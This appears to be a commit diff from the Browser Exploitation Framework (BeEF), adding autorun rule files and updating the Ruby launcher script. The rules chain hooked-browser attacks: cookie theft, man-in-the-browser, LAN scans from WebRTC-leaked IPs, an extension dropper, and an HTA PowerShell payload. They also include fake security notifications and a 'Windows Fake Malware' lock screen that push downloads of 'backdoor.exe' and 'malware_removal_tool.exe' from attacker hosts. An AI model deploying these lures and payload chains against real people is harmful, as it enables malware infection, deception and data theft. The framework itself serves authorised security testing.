# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
0.4.3.3-alpha
0.6.0.0

1
_config.yml Normal file
View File

@@ -0,0 +1 @@
theme: jekyll-theme-minimal

14
arerules/alert.json Normal file
View File

@@ -0,0 +1,14 @@
{"name": "Display an alert",
"author": "mgeeky",
"modules": [
{"name": "alert_dialog",
"condition": null,
"options": {
"text":"You've been BeEFed ;>"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,35 @@
{
"name": "Test return debug stuff",
"author": "antisnatchor",
"browser": "S",
"browser_version": ">= 7",
"os": "OSX",
"os_version": "<= 10.10",
"modules": [{
"name": "test_return_ascii_chars",
"condition": null,
"options": {}
}, {
"name": "test_return_long_string",
"condition": "status==1",
"code": "var mod_input=test_return_ascii_chars_mod_output + '--(CICCIO)--';",
"options": {
"repeat": "10",
"repeat_string": "<<mod_input>>"
}
},
{
"name": "alert_dialog",
"condition": "status=1",
"code": "var mod_input=test_return_long_string_mod_output + '--(PASTICCIO)--';",
"options":{"text":"<<mod_input>>"}
},
{
"name": "get_page_html",
"condition": null,
"options": {}
}],
"execution_order": [0, 1, 2, 3],
"execution_delay": [0, 0, 0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,16 @@
{"name": "Confirm Close Tab",
"author": "mgeeky",
"modules": [
{"name": "confirm_close_tab",
"condition": null,
"code": null,
"options": {
"text":"Are you sure you want to navigate away from this page?",
"usePopUnder":"true"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

2
arerules/enabled/README Normal file
View File

@@ -0,0 +1,2 @@
Move here the ARE rule files that you want to pre-load when BeEF starts.
Make sure they are .json files (any other file extension is ignored).

View File

@@ -0,0 +1,19 @@
{
"name": "Firefox Extension Dropper",
"author": "antisnatchor",
"browser": "FF",
"os": "OSX",
"os_version": ">= 10.8",
"modules": [{
"name": "firefox_extension_dropper",
"condition": null,
"options": {
"extension_name": "Ummeneske",
"xpi_name": "Ummeneske",
"base_host": "http://172.16.45.1:3000"
}
}],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

14
arerules/get_cookie.json Normal file
View File

@@ -0,0 +1,14 @@
{
"name": "Get Cookie",
"author": "@benichmt1",
"modules": [
{"name": "get_cookie",
"condition": null,
"options": {
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,31 @@
{
"name": "Ie Fake Notification + Clippy",
"author": "antisnatchor",
"browser": "IE",
"browser_version": "== 11",
"os": "Windows",
"os_version": ">= 7",
"modules": [
{
"name": "fake_notification",
"condition": null,
"options": {
"notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please update it."
}
}
,{
"name": "clippy",
"condition": null,
"options": {
"clippydir": "http://172.16.45.1:3000/clippy/",
"askusertext": "Your browser appears to be out of date. Would you like to upgrade it?",
"executeyes": "http://172.16.45.1:3000/updates/backdoor.exe",
"respawntime":"5000",
"thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!"
}
}
],
"execution_order": [0,1],
"execution_delay": [0,2000],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,26 @@
{
"name": "HTA PowerShell",
"author": "antisnatchor",
"browser": "IE",
"os": "Windows",
"os_version": ">= 7",
"modules": [
{
"name": "fake_notification",
"condition": null,
"options": {
"notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please apply the Microsoft Update below:"
}
},
{
"name": "hta_powershell",
"condition": null,
"options": {
"domain":"http://172.16.45.1:3000",
"ps_url":"/ps"
}
}],
"execution_order": [0,1],
"execution_delay": [0,500],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,27 @@
{
"name": "Fake missing plugin + Pretty Theft LinkedIn",
"author": "antisnatchor",
"browser": "IE",
"browser_version": ">= 8",
"os": "Windows",
"os_version": "== XP",
"modules": [{
"name": "fake_notification_c",
"condition": null,
"options": {
"url": "http://172.16.45.1:3000/updates/backdoor.exe",
"notification_text": "The version of the Adobe Flash plugin is outdated and does not include the latest security updates. Please ignore the missing signature, we at Adobe are working on it. "
}
}, {
"name": "pretty_theft",
"condition": null,
"options": {
"choice": "Windows",
"backing": "Grey",
"imgsauce": "http://172.16.45.1:3000/ui/media/images/beef.png"
}
}],
"execution_order": [0, 1],
"execution_delay": [0, 5000],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,35 @@
{
"name": "Test return debug stuff",
"author": "antisnatchor",
"browser": "IE",
"browser_version": "<= 8",
"os": "Windows",
"os_version": ">= XP",
"modules": [{
"name": "test_return_ascii_chars",
"condition": null,
"options": {}
}, {
"name": "test_return_long_string",
"condition": "status==1",
"code": "var mod_input=test_return_ascii_chars_mod_output + '--CICCIO--';",
"options": {
"repeat": "10",
"repeat_string": "<<mod_input>>"
}
},
{
"name": "alert_dialog",
"condition": "status=1",
"code": "var mod_input=test_return_long_string_mod_output + '--PASTICCIO--';",
"options":{"text":"<<mod_input>>"}
},
{
"name": "get_page_html",
"condition": null,
"options": {}
}],
"execution_order": [0, 1, 2, 3],
"execution_delay": [0, 0, 0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,25 @@
{"name": "LAN CORS Scan",
"author": "bcoles",
"browser": ["FF", "C"],
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "cross_origin_scanner_cors",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
"options": {
"ipRange":"<<mod_input>>",
"ports":"80,8080",
"threads":"2",
"wait":"2",
"timeout":"10"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,19 @@
{"name": "LAN CORS Scan (Common IPs)",
"author": "bcoles",
"modules": [
{"name": "cross_origin_scanner_cors",
"condition": null,
"code": null,
"options": {
"ipRange":"common",
"ports":"80,8080",
"threads":"2",
"wait":"2",
"timeout":"10"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,25 @@
{"name": "LAN Fingerprint",
"author": "bcoles",
"browser": ["FF", "C"],
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "internal_network_fingerprinting",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
"options": {
"ipRange":"<<mod_input>>",
"ports":"80,8080",
"threads":"3",
"wait":"5",
"timeout":"10"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,19 @@
{"name": "LAN Fingerprint (Common IPs)",
"author": "antisnatchor",
"modules": [
{"name": "internal_network_fingerprinting",
"condition": null,
"code": null,
"options": {
"ipRange":"common",
"ports":"80,8080",
"threads":"3",
"wait":"5",
"timeout":"10"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,24 @@
{"name": "LAN Flash Scan",
"author": "bcoles",
"browser": ["FF", "C"],
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "cross_origin_scanner_flash",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
"options": {
"ipRange":"<<mod_input>>",
"ports":"80,8080",
"threads":"2",
"timeout":"5"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,19 @@
{"name": "LAN Flash Scan (Common IPs)",
"author": "bcoles",
"browser": ["FF", "C"],
"modules": [
{"name": "cross_origin_scanner_flash",
"condition": null,
"code": null,
"options": {
"ipRange":"common",
"ports":"80,8080",
"threads":"2",
"timeout":"5"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,25 @@
{"name": "LAN HTTP Scan",
"author": "bcoles",
"browser": ["FF", "C"],
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "get_http_servers",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
"options": {
"rhosts":"<<mod_input>>",
"ports":"80,8080",
"threads":"3",
"wait":"5",
"timeout":"10"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,19 @@
{"name": "LAN HTTP Scan (Common IPs)",
"author": "bcoles",
"modules": [
{"name": "get_http_servers",
"condition": null,
"code": null,
"options": {
"rhosts":"common",
"ports":"80,8080",
"threads":"3",
"wait":"5",
"timeout":"10"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,22 @@
{"name": "LAN Ping Sweep",
"author": "bcoles",
"browser": "FF",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "ping_sweep",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
"options": {
"rhosts":"<<mod_input>>",
"threads":"3"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,17 @@
{"name": "LAN Ping Sweep (Common IPs)",
"author": "bcoles",
"browser": "FF",
"modules": [
{"name": "ping_sweep",
"condition": null,
"code": null,
"options": {
"rhosts":"common",
"threads":"3"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,25 @@
{"name": "LAN Port Scan",
"author": "aburro & aussieklutz",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "port_scanner",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;",
"options": {
"ipHost":"<<mod_input>>",
"ports":"80,8080",
"closetimeout":"1100",
"opentimeout":"2500",
"delay":"600",
"debug":"false"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,21 @@
{"name": "LAN SW Port Scan",
"author": "aburro & aussieklutz",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "sw_port_scanner",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;",
"options": {
"ipHost":"192.168.1.10",
"ports":"80,8080"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,13 @@
{"name": "Perform Man-In-The-Browser",
"author": "mgeeky",
"modules": [
{"name": "man_in_the_browser",
"condition": null,
"code": null,
"options": {}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,15 @@
{
"name": "Raw JavaScript",
"author": "wade@bindshell.net",
"modules": [
{"name": "raw_javascript",
"condition": null,
"options": {
"cmd": "alert(0xBeEF);"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,15 @@
{"name": "Collects multiple snapshots of the webpage within Same-Origin",
"author": "mgeeky",
"modules": [
{"name": "spyder_eye",
"condition": null,
"options": {
"repeat":"10",
"delay":"3000"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,35 @@
// note: update your dropper URL (dropper.local) in each of the modules below
{
"name": "Windows Fake Malware",
"author": "bcoles",
"os": "Windows",
"modules": [
{
"name": "blockui",
"condition": null,
"options": {
"message": "<img src='data:image/png;base64,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'/><p>This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer before you do any shopping online. <p><a href='http://dropper.local/malware_removal_tool.exe' onclick='$j.unblockUI();'>Microsoft Malware Removal Toolkit</a></p>",
"timeout": "9999"
}
},
{
"name": "text_to_voice",
"condition": null,
"options": {
"message": "This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer; before you do any shopping online.",
"language": "en"
}
},
{
"name": "fake_notification_ie",
"condition": null,
"options": {
"url": "http://dropper.local/malware_removal_tool.exe",
"notification_text": "SECURITY WARNING: Download the <a href='http://dropper.local/malware_removal_tool.exe' title='Microsoft Malware Removal Toolkit'>Microsoft Malware Removal Toolkit</a> as soon as possible."
}
}
],
"execution_order": [0,1,2],
"execution_delay": [0,0,0],
"chain_mode": "sequential"
}

297
beef
View File

@@ -1,131 +1,286 @@
#!/usr/bin/env ruby
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# stop deprecation warning from being displayed
#
# @note stop Fixnum deprecation warning from being displayed
#
$VERBOSE = nil
# @note Version check to ensure BeEF is running Ruby 1.9 >
if RUBY_VERSION < '1.9'
puts "\n"
puts "Ruby version " + RUBY_VERSION + " is no longer supported. Please upgrade 1.9 or later."
puts "OSX:"
puts "See Readme"
puts "\n"
exit
#
# @note Version check to ensure BeEF is running Ruby 3.0+
#
min_ruby_version = '3.0'
if RUBY_VERSION < min_ruby_version
puts
puts "Ruby version #{RUBY_VERSION} is no longer supported. Please upgrade to Ruby version #{min_ruby_version} or later."
puts
exit 1
end
$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.'))
$root_dir = File.expand_path('..', __FILE__)
# @note Prevent some errors on encoding: encoding handling changed (improved) from 1.8.7 to 1.9.1/2.
if RUBY_VERSION =~ /1.9/
Encoding.default_external = Encoding::UTF_8
Encoding.default_internal = Encoding::UTF_8
#
# @note Platform check to ensure BeEF is not running on Windows
#
if RUBY_PLATFORM.downcase.include?('mswin') || RUBY_PLATFORM.downcase.include?('mingw')
puts
puts "Ruby platform #{RUBY_PLATFORM} is not supported."
puts
exit 1
end
# @note Require core loader's
#
# @note set load path, application root directory and user preferences directory
#
$root_dir = File.join(File.expand_path(File.dirname(File.realpath(__FILE__))), '.')
$:.unshift($root_dir)
$home_dir = File.expand_path("#{Dir.home}/.beef/", __FILE__).freeze
# @note Parse BeEF CLI options early (prevents Rack help from taking over)
require 'core/main/console/commandline'
BeEF::Core::Console::CommandLine.parse
#
# @note Require core loader
#
require 'core/loader'
require 'timeout'
# @note Initialize the Configuration object. Eventually loads a different config.yaml if -c flag was passed.
#
# @note Ask user if they would like to update beef
#
if File.exist?("#{$root_dir}git") && BeEF::Core::Console::CommandLine.parse[:update_disabled] == false
if BeEF::Core::Console::CommandLine.parse[:update_auto] == true
print 'Checking latest BeEF repository and updating'
`git pull && bundle`
elsif `git rev-parse master` != `git rev-parse origin/master`
begin
Timeout.timeout(5) do
puts '-- BeEF Update Available --'
print 'Would you like to update to lastest version? y/n: '
response = gets
`git pull && bundle` if response&.strip == 'y'
end
rescue Timeout::Error
puts "\nUpdate Skipped with input timeout"
end
end
end
#
# @note Create ~/.beef/
#
begin
FileUtils.mkdir_p($home_dir) unless File.directory?($home_dir)
rescue => e
print_error "Could not create '#{$home_dir}': #{e.message}"
exit 1
end
#
# @note Initialize the Configuration object. Loads a different config.yaml if -c flag was passed.
#
if BeEF::Core::Console::CommandLine.parse[:ext_config].empty?
config = BeEF::Core::Configuration.new("#{$root_dir}/config.yaml")
else
config = BeEF::Core::Configuration.new("#{$root_dir}/#{BeEF::Core::Console::CommandLine.parse[:ext_config]}")
config = BeEF::Core::Configuration.new("#{BeEF::Core::Console::CommandLine.parse[:ext_config]}")
end
#
# @note set log level
#
BeEF.logger.level = config.get('beef.debug') ? Logger::DEBUG : Logger::WARN
#
# @note Check the system language settings for UTF-8 compatibility
#
env_lang = ENV['LANG']
if env_lang !~ /(utf8|utf-8)/i
print_warning "Warning: System language $LANG '#{env_lang}' does not appear to be UTF-8 compatible."
if env_lang =~ /\A([a-z]+_[a-z]+)\./i
country = $1
print_more "Try: export LANG=#{country}.utf8"
end
end
#
# @note Check if port and WebSocket port need to be updated from command line parameters
#
unless BeEF::Core::Console::CommandLine.parse[:port].empty?
config.set('beef.http.port', BeEF::Core::Console::CommandLine.parse[:port])
end
unless BeEF::Core::Console::CommandLine.parse[:ws_port].empty?
config.set('beef.http.websocket.port', BeEF::Core::Console::CommandLine.parse[:ws_port])
end
#
# @note Validate configuration file
#
unless BeEF::Core::Configuration.instance.validate
exit 1
end
#
# @note Exit on default credentials
#
if config.get("beef.credentials.user").eql?('beef') && config.get("beef.credentials.passwd").eql?('beef')
print_error "ERROR: Default username and password in use!"
print_more "Change the beef.credentials.passwd in config.yaml"
exit 1
end
#
# @note Validate beef.http.public and beef.http.public_port
#
unless config.get('beef.http.public.host').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public.host'))
print_error "ERROR: Invalid public hostname: #{config.get('beef.http.public.host')}"
exit 1
end
unless config.get('beef.http.public.port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public.port'))
print_error "ERROR: Invalid public port: #{config.get('beef.http.public.port')}"
exit 1
end
#
# @note After the BeEF core is loaded, bootstrap the rest of the framework internals
#
require 'core/bootstrap'
# @note Loads enabled extensions
BeEF::Extensions.load
#
# @note Prints the BeEF ascii art if the -a flag was passed
#
if BeEF::Core::Console::CommandLine.parse[:ascii_art] == true
BeEF::Core::Console::Banners.print_ascii_art
end
#
# @note Prints BeEF welcome message
#
BeEF::Core::Console::Banners.print_welcome_msg
#
# @note Loads enabled extensions
#
BeEF::Extensions.load
#
# @note Loads enabled modules
#
BeEF::Modules.load
# @note Disable reverse dns
#
# @note Disable reverse DNS
#
Socket.do_not_reverse_lookup = true
# @note Database setup - use DataMapper::Logger.new($stdout, :debug) for development debugging
case config.get("beef.database.driver")
when "sqlite"
DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("beef.database.db_file")}")
when "mysql","postgres"
DataMapper.setup(:default,
:adapter => config.get("beef.database.driver"),
:host => config.get("beef.database.db_host"),
:username => config.get("beef.database.db_user"),
:password => config.get("beef.database.db_passwd"),
:database => config.get("beef.database.db_name"),
:encoding => config.get("beef.database.db_encoding")
)
else
print_error 'No default database selected. Please add one in config.yaml'
end
#
# @note Database setup
#
#
# @note Load the database
#
db_file = config.get('beef.database.file')
# @note Resets the database if the -x flag was passed
if BeEF::Core::Console::CommandLine.parse[:resetdb]
print_info 'Resetting the database for BeEF.'
DataMapper.auto_migrate!
else
DataMapper.auto_upgrade!
begin
File.delete(db_file) if File.exist?(db_file)
rescue => e
print_error("Could not remove '#{db_file}' database file: #{e.message}")
exit(1)
end
end
# Connect to DB
ActiveRecord::Base.logger = nil
OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database:db_file)
# otr-activerecord require you to manually establish the connection with the following line
#Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems.
if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')
OTR::ActiveRecord.establish_connection!
end
# Migrate (if required)
ActiveRecord::Migration.verbose = false # silence activerecord migration stdout messages
ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')]
context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths)
if context.needs_migration?
ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate
end
#
# @note Extensions may take a moment to load, thus we print out a please wait message
#
print_info 'BeEF is loading. Wait a few seconds...'
#
# @note Execute migration procedure, checks for new modules
BeEF::Core::Migration.instance.update_db!
#
begin
